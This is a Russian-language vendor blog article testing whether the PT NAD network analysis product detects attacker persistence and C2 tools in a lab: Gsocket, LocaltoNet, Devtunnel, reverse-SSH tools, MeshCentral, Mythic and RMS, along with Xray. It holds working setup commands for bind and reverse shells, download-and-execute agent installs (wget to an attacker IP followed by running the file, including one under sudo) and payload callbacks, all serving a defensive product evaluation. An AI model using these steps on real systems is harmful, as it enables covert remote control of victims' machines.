PT NAD vs хакерский инструментарий. Часть 2
Введение
Около полугода назад вышла статья, в которой команда TS Solution проверяла, справляется ли PT NAD с обнаружением различных популярных хакерских утилит и инструментов. В заключении той статьи мы обещали, что впоследствии будем добавлять результаты тестирования новых утилит и инструментов. Обещания свои мы держим, и поэтому предоставляем вторую статью с новыми проверками .
Каждая проверка - отдельная глава. В главах вы найдёте краткое описание инструмента, шаги по его использованию и результат обнаружения его активности в PT NAD. Дополнительно мы добавили описание используемого нами стенда, чтобы при желании вы смогли самостоятельно воспроизвести все тесты.
Данные тесты созданы с целью познакомить читателя с методами детектирования продукта PT NAD. Мы не несем ответственности за последствия использования приведенных инструментов в реальной жизни.
И пару слов о том, зачем вообще мы пишем уже вторую статью с тестами. Дело в том, что обнаружение или необнаружение активности различных инструментов напрямую влияет на то, насколько эффективен будет продукт при выявлении и расследовании цепочки атак (kill-chain). Чем больше шагов этой цепочки удалось обнаружить, тем проще ее локализовать, расследовать и устранить последствия. И наоборот - чем меньше обнаружили, тем сложнее связать различные атомарные активности в единую цепочку. Это мы и стараемся проверить в ходе наших тестов, результатами которых делимся с вами.
Описание стенда
Для проведения тестирования PT NAD нам потребуется четыре виртуальные машины. Первые две из них в сценариях проверки будут играть роль атакуемых машин, третья – роль атакующей, а четвертая – маршрутизатор. Кроме того нам потребуется пятая ВМ, на которой будет развернут непосредственно сам PT NAD.
В качестве машины жертвы будем использовать Debian 11 (далее Debian) или Windows 10 (далее Windows), на машине нашего условного злоумышленника будем использовать Kali Linux (далее Kali), в качестве маршрутизатора используем VyOS. Теперь наша задача соединить эти машины так, чтобы трафик между ними проходил через маршрутизатор. Для этого мы ставим его “между” ними и используем для маршрутизации пакетов между Debian/Windows и Kali.
Выдадим ip-адреса всем интерфейсам:
- Debian 192.168.2.1
- Windows 192.168.2.5
- Kali 192.168.3.1
- VyOS
- 192.168.2.250
- 192.168.3.250
В PT NAD отправляем копию трафика с линии связи между Mikrotik и Debian/Windows. В итоге, наша сеть выглядит следующим образом:
Схема стенда
Также обратим внимание на то, что в PT NAD механизмы обнаружения учитывают направления трафика: из внутренней сети во внешнюю или наоборот. В рамках нашего стенда предполагается, что 192.168.2.0/24 - внутренняя сеть, а Kali располагается во внешней сети. Поэтому необходимо отразить это в группах узлов в PT NAD: укажем в группе HOME_NET сеть 192.168.2.0/24, а в EXTERNAL_NET будут включены все остальные сети, в том числе 192.168.3.0/24.
Группы узлов, используемые в PT NAD
Gsocket
Global socket (Gsocket) - набор инструментов, позволяющий организовывать подключение между узлами, находящимися в разных приватных сетях. Это достигается путем подключения узлов к серверам GSRN (Global Socket Relay Network), которые, в свою очередь, устанавливают сессию между узлами. Злоумышленники могут использовать его для закрепления на узле, к которому они получили начальный доступ.
Применение
На стенде у нас настроена прозрачная маршрутизация между Kali и Debian, поэтому использовать gsocket для установления соединения между ними не обязательно. Это можно исправить - добавим на Debian правила в netfilter (встроенный в Linux межсетевой экран), запрещающие любые взаимодействия с Kali. Пример добавления правил с использованием команды iptables представлен ниже (важно - если у вас уже заведены какие-то правила, то команды могут отличаться). Также эти правила для большей наглядности будут использоваться в рамках тестирования инструментов LocaltoNet, Devtunnel.
user@debian:~$ sudo iptables -A INPUT -j DROP -s 192.168.3.1 user@debian:~$ sudo iptables -A OUTPUT -j DROP -d 192.168.3.1
Теперь Debian и Kali не могут взаимодействовать напрямую, тут-то нам и пригодится gsocket. Ставим его на обе ВМ по инструкции, после чего сразу можем его использовать. Например, с помощью утилиты gs-netcat из состава Gsocket можно организовать Bind Shell по шифрованному TCP-соединению. Сначала выполняем команду gs-netcat -li на Debian. После выполнения он предложит указать секрет - можно выбрать свой или нажать Enter, тогда секрет сгенерируется автоматически. Сам секрет - это уникальный идентификатор, который используется при подключении к GSRN. Именно с помощью него ноды GSRN понимают, подключения от каких узлов нужно соединять между собой.
user@debian:~$ gs-netcat -li Enter Secret (or press Enter to generate): =Secret : 9AByXQKYrcZFqu4CrHqeyg =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Connecting to GSRN [91.188.254.187:443] takes longer than expected. Still trying... GSRN connection established [91.188.254.187:443].
На Kali выполняем команду gs-netcat -i. После также будет запрошен секрет - нужно указать тот же, что был на Debian. При успешном подключении мы получим доступ к командной строке Debian.
┌──(kali㉿kali)-[~/Soft/shells] └─$ gs-netcat -i Enter Secret (or press Enter to generate): 9AByXQKYrcZFqu4CrHqeyg =Secret : 9AByXQKYrcZFqu4CrHqeyg =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) user@debian:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark),998(docker),1007(mail-users) user@debian:~$ hostname debian user@debian:~$
Обнаружение
PT NAD обнаружил вредоносную активность в двух сессиях. В первой он отметил, что был DNS-запрос на разрешение доменного имени, связанного с gsocket. На это указывают и репутационные списки, и соответствующее правило для атаки.
Карточка DNS-сессии
Карточка атаки
DNS-транзакция
Во второй сессии репутационные списки “ругаются” непосредственно на доменное имя получателя (то самое, которое было разрешено в предыдущей сессии), а правила для атак фиксируют активность инструментов gsocket.
Небольшое примечание о том, как работает разрешение доменных имен в PT NAD: он ведет свою базу пассивного DNS, куда записывает все DNS-записи, которые видит в захватываемом трафике. А затем согласно этой базе в последующих сессиях сопоставляет IP-адресу доменное имя. При этом сам PT NAD никаких запросов к внешнему DNS-серверу не выполняет. Работу именно этого механизма можно наблюдать на скриншотах ниже.
Отметим, что есть небольшая неточность - наша машина-жертва (Debian) отмечена в карточках атак как атакующий узел. По умолчанию считается, что отправитель - атакующий, а получатель - атакуемый узел. Но в некоторых случаях это не так, и правила для атак могут это учитывать и менять атакующего и атакуемого местами. В этом правиле этот аспект не учтен, что может немного сбить с толку неопытного специалиста. Но, в целом, это скорее небольшая придирка и критического значения этот недочет не имеет.
Карточка сессии с активностью Gsocket
Карточка атаки 1
Карточка атаки 2
LocaltoNet
LocaltoNet - сервис для публикации своих локальных ресурсов через обратное проксирование трафика. Как и в случае с Gsocket, злоумышленники могут использовать его для закрепления на узле жертвы.
Применение
Сервис LocaltoNet - платный, но имеет бесплатную версию, позволяющую использовать до 1 туннеля. В рамках тестирования этого достаточно. Заходим на сайт, регистрируемся, добавляем новый токен и создаем TCP-туннель по инструкции (выбираем наш токен, порт указываем 22 для дальнейшего подключения по SSH).
Создание туннеля
Далее необходимо установить клиент на Debian (инструкция). После установки запускаем приложение с ранее созданным токеном:
user@debian:~/Soft$ ./localtonet --authtoken Be1Jw7DSlKjoCqfW4rLm2OXVF0iZstvnR
Теперь запускаем туннель на сайте и соединение установлено. Теперь с Kali можно подключиться к Debian по SSH, используя этот туннель (адрес и порт подключения берем из поля URL). При этом напомним, что благодаря правилам на межсетевом экране, настроенным ранее при тестировании Gsocket, прямой сетевой доступ между Kali и Debian запрещен. Но обратное проксирование позволяет обойти это ограничение.
┌──(kali㉿kali)-[~/Soft/shells] └─$ ssh user@elbp1ghpr.localto.net -p 8530 user@elbp1ghpr.localto.net's password: Linux debian 6.1.0-35-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.137-1 (2025-05-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Oct 1 14:39:21 2025 from 10.10.70.84 user@debian:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark),998(docker),1007(mail-users) user@debian:~$ hostname debian
Обнаружение
Во время работы клиент LocaltoNet периодически (по наблюдениям - раз в минуту) отправляет пакеты, чтобы проверять статус и поддерживать подключение к туннелю. Эти подключения обнаруживает PT NAD с помощью соответствующего правила для атаки.
Обнаруженные атаки с активностью LocaltoNet
Карточка атаки
Devtunnel
Devtunnel - инструмент для разработчиков, позволяющий им публиковать собственные веб-приложения с целью их тестирования. По сути, это обратный прокси, аналогично LocaltoNet, однако он поддерживает только протоколы http и https. Злоумышленники могут использовать данный инструмент для организации доступа к машине жертвы.
Применение
Сперва нужно определить, какой ресурс мы будем публиковать через туннель. Для этого поднимем простой http-сервер на python, который предоставляет доступ к файлам в текущей директории.
user@debian:~$ python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Теперь к Debian можно подключиться на порт 8080 и получить доступ ко всем файлам и каталогам в домашней директории пользователя user. Но благодаря правилам межсетевого экрана Kali не может подключиться к Debian. Но это может исправить devtunnel.
На Debian устанавливаем devtunnel командой по инструкции. В целях безопасности (хотя это не особо помогает) devtunnel не поддерживает создание туннелей анонимными пользователями, поэтому сперва нужно авторизоваться. Это можно сделать через аккаунт Microsoft или Github. Для этого используем команду devtunnel user login. Можно также добавить опцию -g, чтобы авторизоваться через GitHub, и опцию -d, чтобы войти через браузер на другом устройстве (удобно, если на текущем устройстве нет графического интерфейса).
user@debian:~$ devtunnel user login -g -d Browse to https://github.com/login/device and enter the code: BF92-1350 Logged in as EstTema using GitHub.
Поднимаем туннель на порт 8080.
user@debian:~$ devtunnel host -p 8080 Hosting port: 8080 Connect via browser: https://h74v545c.euw.devtunnels.ms:8080, https://h74v545c-8080.euw.devtunnels.ms Inspect network activity: https://h74v545c-8080-inspect.euw.devtunnels.ms Ready to accept connections for tunnel: giant-pond-cwzq0xw.euw
В выводе команды видим два URL, к которым нужно подключаться - один на указанный нами порт, другой на стандартный 443 порт. Выбираем любой из них и вводим в браузере на Kali, авторизуемся через аккаунт Microsoft или Github (тот же, что и при создании туннеля). После этого открывается страница с содержимым домашней директории пользователя user на машине Debian.
Веб-страница
Теперь стоит удалить правила межсетевого экрана, добавленные ранее на Debian. В дальнейшем они не понадобятся. Пример команд представлен ниже (важно - эти команды полностью очистят цепочки правил для входящих и исходящих пакетов, используйте их с осторожностью).
user@debian:~$ sudo iptables -F INPUT user@debian:~$ sudo iptables -F OUTPUT
Обнаружение
PT NAD обнаружил построение туннеля с помощью Devtunnel. Отметим, что в карточке атаки Атакующий и Атакуемый узлы поменяны местами (или, наоборот, не поменяны - зависит от того, как посмотреть), что может сбить с толку неопытного оператора.
Карточка атаки
GoLang reverse SSH tools
На просторах GitHub мы обнаружили два проекта по построению reverse SSH соединения. Оба написаны на языке программирования Go. Reverse соединения (reverse ssh - не исключение) в первую очередь направлены на получение управления удаленной машиной, которая “спрятана” за межсетевыми экранами и NAT. Злоумышленники заставляют саму машину инициировать подключения к подконтрольному им серверу, а исходящие подключения чаще всего не ограничиваются правилами МЭ.
Первый проект представляет собой утилиту, способную развернуть маловесный ssh сервер, поддерживающий reverse shell, а также QoL улучшения, такие как история команд, интерактивность, автодополнение, проброс портов, передача файлов по SFTP и т.д.
Второй проект является менее легковесным, но обладает схожим функционалом: проброс портов, нативная поддержка передачи файлов по SCP и SFTP, управление множественными подключениями и т.д.
Первый проект. Применение
Скачиваем репозиторий проекта на Kali и Debian:
git clone repository https://github.com/Fahrj/reverse-ssh
После этого переходим в директорию и компилируем исполняемый файл. В переменной RS_PASS указываем пароль, который будет использоваться в дальнейшем при подключении :
RS_PASS="secret" make
После этого будет создан каталог bin, в котором будет лежать исполняемый файл reverse-ssh. Его мы и будем использовать. Сначала запустим на Kali сервер, который будет ожидать входящие подключения на порт 1234:
┌──(kali㉿kali)-[~/Soft/reverse-ssh/bin] └─$ ./reverse-ssh -v -l -p 1234 2025/10/09 12:15:19 Starting ssh server on :1234 2025/10/09 12:15:19 Success: listening on [::]:1234
После этого запустим на Debian клиент, который подключится к запущенному серверу:
user@debian:~/Soft/reverse-ssh/bin$ ./reverse-ssh -v -p 1234 192.168.3.1
2025/10/09 12:15:36 Dialling home via ssh to 192.168.3.1:1234
2025/10/09 12:15:36 Success: listening at home on 127.0.0.1:8888
Теперь на Kali можно подключаться на порт 8888, чтобы получить доступ в командную оболочку на Debian. При подключении вводим пароль, который указывали ранее в параметре RS_PASS при выполнении команды make.
┌──(kali㉿kali)-[~/Soft/reverse-ssh]
└─$ ssh -p 8888 127.0.0.1
kali@127.0.0.1's password:
user@debian:~/Soft/reverse-ssh/bin$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark),998(docker),1007(mail-users)
user@debian:~/Soft/reverse-ssh/bin$ hostname
debian
user@debian:~/Soft/reverse-ssh/bin$ exit
exit
Connection to 127.0.0.1 closed.
Первый проект. Обнаружение
PT NAD обнаружил SSH-соединение с использованием языка Go.
Карточка атаки
Второй проект. Применение
Для запуска контейнера с сервером необходимо предварительно подготовить ключи для дальнейшего подключения к нему.
┌──(kali㉿kali)-[~] └─$ ssh-keygen -f /home/kali/.ssh/id_reversessh -P '' Generating public/private rsa key pair. Your identification has been saved in /home/kali/.ssh/id_reversessh Your public key has been saved in /home/kali/.ssh/id_reversessh.pub
Затем выполняем на Kali команду:
docker run -p3232:2222 -e EXTERNAL_ADDRESS=192.168.3.1:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_reversessh.pub)" -v ./data:/data reversessh/reverse_ssh
Теперь сервер запущен и ожидает подключений к порту 3232. Если подключиться на этот порт по ssh с помощью созданного ранее приватного ключа, то мы попадем в управляющий CLI.
┌──(kali㉿kali)-[~]
└─$ ssh 192.168.3.1 -i .ssh/id_reversessh -p 3232
catcher$
С помощью команды link генерируем исполняемый файл для клиента и ссылку по его скачиванию.
catcher$ link
http://192.168.3.1:3232/72ff2eb900f456afec5a9fdf0f58c933
Теперь необходимо скачать данный файл на Debian и запустить его.
user@debian:~/Soft/reversessh$ wget -Sq -O agent http://192.168.3.1:3232/72ff2eb900f456afec5a9fdf0f58c933 HTTP/1.1 200 OK Content-Disposition: attachment; filename=72ff2eb900f456afec5a9fdf0f58c933 Content-Type: application/octet-stream Date: Thu, 09 Oct 2025 07:44:19 GMT Transfer-Encoding: chunked user@debian:~/Soft/reversessh$ ls agent user@debian:~/Soft/reversessh$ chmod u+x agent user@debian:~/Soft/reversessh$ user@debian:~/Soft/reversessh$ ./agent 2025/10/09 10:44:40 Forking 2025/10/09 10:44:40 Connecting to 192.168.3.1:3232 2025/10/09 10:44:40 Successfully connnected 192.168.3.1:3232
После этого Debian должен появиться в списке подключенных узлов и мы сможем запустить удаленную командную оболочку.
catcher$ ls 8bf496f62c4ed48b693d7d113175544fd50d0ca0 7dee4bfebf228bf6ef0a8ec24eaac56abf2fe839 user.debian 192.168.2.1:52118, owners: public, version: SSH-v2.6.19-linux_amd64 catcher$ connect 192.168.2.1:52118 user@debian:~/Soft/reversessh$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark),998(docker),1007(mail-users) user@debian:~/Soft/reversessh$ hostname debian user@debian:~/Soft/reversessh$ exit exit Session has terminated.
Второй проект. Обнаружение
В веб-интерфейсе PT NAD можно найти две сессии, связанные с данной активностью - непосредственно само подключение между агентом и сервером и предшествующую ему сессию с передачей файла. Сессия с файлом, в общем случае, не обязательно будет отображена в продукте, так как он может быть передан на машину жертвы через другие каналы, а вот сессии с SSH-подключением уже можно уделить особое внимание. Впрочем, срабатывания механизмов обнаружения не произошло.
Сессия с SSH-подключением
Сессия с передачей вредоносного файла
При этом соответствующие правила для атак в продукте есть. Почему так и что с этим делать рассказали в главе “Работа над ошибками”.
Правила для атак
Meshcentral
Meshcentral - инструмент для организации централизованного управления удаленными узлами. Он может использоваться злоумышленниками в качестве C2-фреймворка.
Применение
Устанавливаем Meshcentral на Kali по инструкции и запускаем его. После этого запускаем браузер и подключаемся к веб-серверу Meshcentral. Необходимо будет создать первого пользователя - он будет иметь роль администратора. Далее заходим в раздел “Мои устройства”, создаем там новую группу узлов, и добавляем в эту группу новое устройство. Для добавления устройства будет выведена команда, которую нужно запустить на Debian. Пример команды:
(wget "https://192.168.3.1/meshagents?script=1" -O ./meshinstall.sh || wget "https://192.168.3.1/meshagents?script=1" --no-proxy -O ./meshinstall.sh) && chmod 755 ./meshinstall.sh && sudo -E ./meshinstall.sh https://192.168.3.1 '3X3AluiLKghcmVYrI9E2$143m5AOlN9nCXM8XofMtTVQkNM0ybLAvC6bAIk8jysv' || ./meshinstall.sh https://192.168.3.1 '3X3AluiLKghcmVYrI9E2$143m5AOlN9nCXM8XofMtTVQkNM0ybLAvC6bAIk8jysv'
Эта команда скачивает скрипт с сервера Meshcentral и запускает его. Скорее всего у вас эта команда не сработает, так как на сервере установлен самоподписанный SSL-сертификат и команда wget на него “ругается”. Чтобы это исправить, нужно в команду после слова wget добавить ключ --no-check-certificate. После этого в веб-интерфейсе появится новое устройство.
Добавление устройства
Кликаем на это устройство, переходим во вкладку “Терминал” и подключаемся. Теперь можем выполнять команды.
Подключение к терминалу
Обнаружение
PT NAD обнаружил активность агента meshcentral с помощью правила для атаки TOOLS [PTsecurity] Possible MeshCentral Agent.
Карточка атаки
Mythic
Mythic - кроссплатформенный C2-фреймворк. Отличительной особенностью данного инструмента по сравнению с аналогами (Sliver, Havoc) является модульность и наличие графического веб-интерфейса.
Применение
Устанавливаем на Kali Mythic и утилиту mythic-cli по управлению инструментом по инструкции. После установки запускаем Mythic командой sudo ./mythic-cli start (выполнять в каталоге, куда был установлен Mythic). На этом этапе уже можно будет войти в веб-интерфейс инструмента по IP-адресу узла Kali и порту 7443: имя пользователя по умолчанию mythic_admin, пароль генерируется автоматически - его можно посмотреть командой sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD. После входа пароль можно будет поменять.
Однако пока что мы установили только голую платформу, а чтобы иметь возможность генерировать нагрузки (payload), нужно в нее еще добавить модули - агенты и C2-профили. Агенты определяют, какой функционал будет у создаваемой нагрузки, а профили — каким образом нагрузки будут взаимодействовать с командным сервером. Агенты поддерживают не все виды профилей, а только определенные, поэтому стоит заранее уточнить совместимость различных модулей. Мы будем использовать агент Medusa с профилем HTTP. Устанавливаем их:
┌──(kali㉿kali)-[~/Soft/Mythic] └─$ sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa ┌──(kali㉿kali)-[~/Soft/Mythic] └─$ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
Теперь необходимо создать вредоносную нагрузку. Для этого на главной странице в виджете с нагрузками нажимаем “CREATE YOUR FIRST PAYLOAD”.
Создание нагрузки. Скриншот №1
Затем откроется страница по созданию нагрузки, где необходимо будет пройти 5 шагов. На первом шаге выбираем ОС (Linux), на втором выбираем агента (Medusa), а параметр https_check меняем на No.
Создание нагрузки. Скриншот №2
На третьем шаге выбираем команды, которые можно будет выполнять на зараженном узле. На четвертом шаге добавляем C2-профили (http). В поле callback_host указываем ip-адрес узла Kali (192.168.3.1), а в поле callback_port - любой неиспользуемый на Kali порт (например, 1234). Остальное оставляем без изменений.
Создание нагрузки. Скриншот №3
На последнем шаге можно задать имя файлу и добавить описание. После чего нажимаем кнопку внизу страницы “CREATE PAYLOAD”. На всплывшем окне с уведомлением об успешном создании нагрузки нажимаем “Download here”, чтобы скачать файл.
Уведомление о создании нагрузки
Теперь данный файл передаем на Debian и выполняем его.
user@debian:~/Downloads$ python3 medusa.py
Также необходимо отредактировать конфигурацию C2-профиля, чтобы он прослушивал указанный при создании нагрузки порт (1234). Для этого заходим в раздел “Installed Services”, сверху выбираем вкладку “C2 PROFILES”, в профиле http справа от кнопки “STOP PROFILE” нажимаем на стрелочку вниз и в контекстном меню выбираем опцию “View/Edit Config”. В открывшемся окне редактируем параметр port, сохраняем изменения.
Конфигурация C2 профиля
Теперь переходим в раздел “Active Callbacks” и видим там подключение от нашей нагрузки на Debian. Можем перейти в режим взаимодействия с ней и выполнить несколько команд.
Выполнение команд
Обнаружение
PT NAD не обнаружил активность Mythic. Он видит множество подключений от Debian к Kali по протоколу TLS, но никакие механизмы обнаружения не сработали.
Сессии с активностью Mythic
Карточка сессии
Отметим, что причина в использовании HTTPS. Если всю ту же связку агента Medusa и профиля HTTP настроить для взаимодействия с командным сервером по протоколу http без использования шифрования, то PT NAD данную активность все-таки обнаружит. Однако по умолчанию этими модулями предполагается взаимодействие именно по https, что делает такое обнаружение не совсем “честным”.
Карточка для атаки (использование HTTP)
Кроме того, в PT NAD есть правила для атак, которые направлены на обнаружение активности именно агента Medusa, но они не сработали (даже в нешифрованном трафике).
Правила для атак
Спустя некоторое время ситуация с обнаружением Mythic в шифрованном трафике немного изменилась - читайте об этом в главе “Работа над ошибками”.
RMS
RMS - инструмент управления удаленным хостом с возможностью просматривать экран хоста и вводить информацию от его имени. Присутствует технология обхода МЭ и NAT, а также поддержка прокси-серверов
Применение
RMS состоит из клиента и сервера, которые можно скачать по ссылке с официального сайта. Клиент устанавливается на управляющую машину, сервер (хост) — на управляемую, таким образом достигается одностороннее подключение, представленное либо полным контролем над хостом, либо только просмотром рабочего стола.
Обнаружение
PT NAD не обнаруживает должным образом подключения по RMS. PT NAD обнаруживает сессии по неизвестному прикладному протоколу через tcp на один и тот же порт (который настраивается внутри RMS).
Сессии с активностью RMS
Карточка сессии
Отметим, что правила для атак под данный инструмент все же есть, но они не сработали. Почему так и что с этим делать рассказали в главе “Работа над ошибками”.
Правила для атак
Xray
Xray - программная платформа для построения туннелей с использованием различных протоколов. Однако VPN на базе Xray часто понимается как современное сочетание именно протокола авторизации VLESS и слоя маскировки Reality, реализуемое в Xray-core. VLESS сам по себе легкий протокол аутентификации (по UUID) без встроенного шифрования, а Reality обеспечивает защищенный обмен ключами и маскировку трафика под обычный HTTPS. Для шифрования Reality использует X25519-ключи, а трафик выглядит как подключение к «реальному» сайту (serverName/dest), что сильно затрудняет обнаружение DPI. Это не классический VPN по уровню работы, но при использовании tun2socks или похожих инструментов может давать почти прозрачный VPN-эффект.
Применение
В качестве сервера будет использован Kali, в качестве клиента win 10. Использовалось приложение Amnesia VPN, в котором была использована функция построения собственного сервера (self hosted server). На созданном сервере были установлены возможности использования протокола Xray. После поднятия VPN сервера и выбора протокола можно настроить подключение, в случае Xray можно настроить порт и адрес подменного домена.
Параметры подключения
Обнаружение
PT NAD видит сессии от клиента к серверу с использованием подменного домена, но при этом не определяет подключение как VPN туннель или как какую-либо вредоносную активность. Однако этот результат не окончательный: оказалось, что параллельно с нашими тестами команда экспертов из PT NAD работали над детектами Xray. Детали можно прочитать в главе “Работа над ошибками”.
Сессии с активностью Xray
Карточка сессии
Работа над ошибками
RMS и Reverse SSH
Проведя тесты и получив отрицательные результаты по некоторым из них, мы передали соответствующую информацию экспертам из Positive Technologies. Они ее перепроверили и достаточно оперативно выпустили обновление, исправляющее сигнатуры для RMS и Reverse SSH. Мы дождались обновления баз знаний в продукте и провели тесты повторно - действительно активность данных инструментов удалось обнаружить.
Обнаружение Reverse SSH
Обнаружение RMS
Почему же так получилось, что соответствующие правила для атак вроде в продукте были, но не сработали изначально, а только после их обновления? Причина кроется в том, что хакерский инструментарий постоянно развивается и изменяется. Иногда эти изменения приводят к тому, что ранее работавшие сигнатуры перестают к нему подходить. Эксперты из PT ESC, экспертного центра безопасности Positive Technologies, постоянно мониторят подобные ситуации и обновляют правила для атак в продукте, чтобы они соответствовали всем версиям утилит, в том числе наиболее актуальным. Но, разумеется, между обновлением утилиты и обновлением базы знаний в PT NAD с соответствующим исправлением проходит какое-то время. Поэтому если вы заметили, что какой-то детект не работает, хотя должен - не стесняйтесь писать об этом специалистам из Positive Technologies (желательно в техподдержку со скринами и дампами трафика, тогда исправление в базе знаний появится максимально быстро).
Xray
Не получив обнаружение Xray, мы особенно не удивились - эта технология была специально создана, чтобы мимикрировать под обычный TLS-трафик и обходить средства защиты. Так что такой результат был вполне ожидаем. Но мы все равно передали экспертам Positive Technologies, что мы его проверили и у нас PT NAD ничего не нашел. На удивление вместо ответа “да, мы такое не детектим” мы получили “вообще, у нас недавно появился новый модуль в продукте, который должен выявлять активность Xray”. Проходит буквально пару дней, нам сообщают, что модуль доработали, мы проводим повторные тесты, и в этот раз все работает. При этом мы проверяем сразу две реализации Xray: Amnezia (его использовали и в первых тестах) и 3x-ui, - и при использовании обеих PT NAD обнаруживает активность Xray.
Сессия с активностью Xray
(Обратите внимание на поле “Приложение”)
Тем не менее, хотим подчеркнуть, что обнаружение Xray - совсем новая функция в PT NAD, которая неидеальна и находится в стадии активного совершенствования (и очень здорово, что мы нашими тестами смогли помочь немного улучшить этот механизм). В рамках тестов мы проверили два сервиса, использующих Xray, и PT NAD смог выявить использование этой технологии при их использовании. Обнаружение Xray в других сценариях и реализациях остается за рамками нашего мини-исследования.
Mythic
На момент проведение тестов PT NAD умел обнаруживать активность Mythic только в нешифрованном трафике. Но при использовании Mythic агент и сервер по умолчанию взаимодействуют по HTTPS, что проходило незамеченным.
Сделаем небольшую оговорку, что на практике в PT NAD (да и в другие решения класса NTA тоже) крайне желательно подавать расшифрованный трафик, где это возможно. Это сильно увеличит шансы выявить какую-то угрозу или аномальную активность. С расшифровкой трафика из внутренней сети во внешнюю могут помочь TLS-прокси и NGFW с поддержкой зеркалирования расшифрованного трафика (TLS-инспекции).
Тем не менее, хоть искать атаки в шифрованном трафике сложно, это не невозможно. И спустя некоторое время с очередным обновлением экспертизы в продукте появилось правило, обнаруживающее активность агента Medusa в HTTPS трафике.
Обнаружение активности Mythic
Но все же добавим небольшую ложечку дегтя: Mythic - платформа, где могут использоваться разные агенты и профили. Мы же использовали одну конкретную связку агента и профиля и, судя по названию правила, оно заточено именно под нее, а не под активность Mythic в целом. Как PT NAD справится с обнаружением Mythic при использовании других модулей, мы не проверяли.
Заключение
В этой статье преимущественно собрались популярные у хакеров инструменты для закрепления на скомпрометированном узле и дальнейшего управления им. Только Xray, пожалуй, немного выпадает из этого списка.
По результатам проведенных тестов активность хакерских инструментов в большинстве случаев была обнаружена. Однако некоторые инструменты остались полностью или частично незамеченными. Совсем без намеков на детект проскочили Xray, RMS и Reverse SSH (один из двух проектов, рассматриваемых в статье). Также условное обнаружение было зафиксировано для Mythic - только в нешифрованном трафике. Однако команда экспертов Positive Technologies впоследствии исправила сигнатуры в правилах и доработала механизмы обнаружения, так что на момент выпуска данной статьи активности этих инструментов также выявляются в PT NAD.
С обнаружением остальных тестируемых инструментов PT NAD справился отлично.
Михаил Меркулов и Артем Комаров, системные инженеры TS Solution, сертифицированные тренеры по PT NAD и PT Sandbox.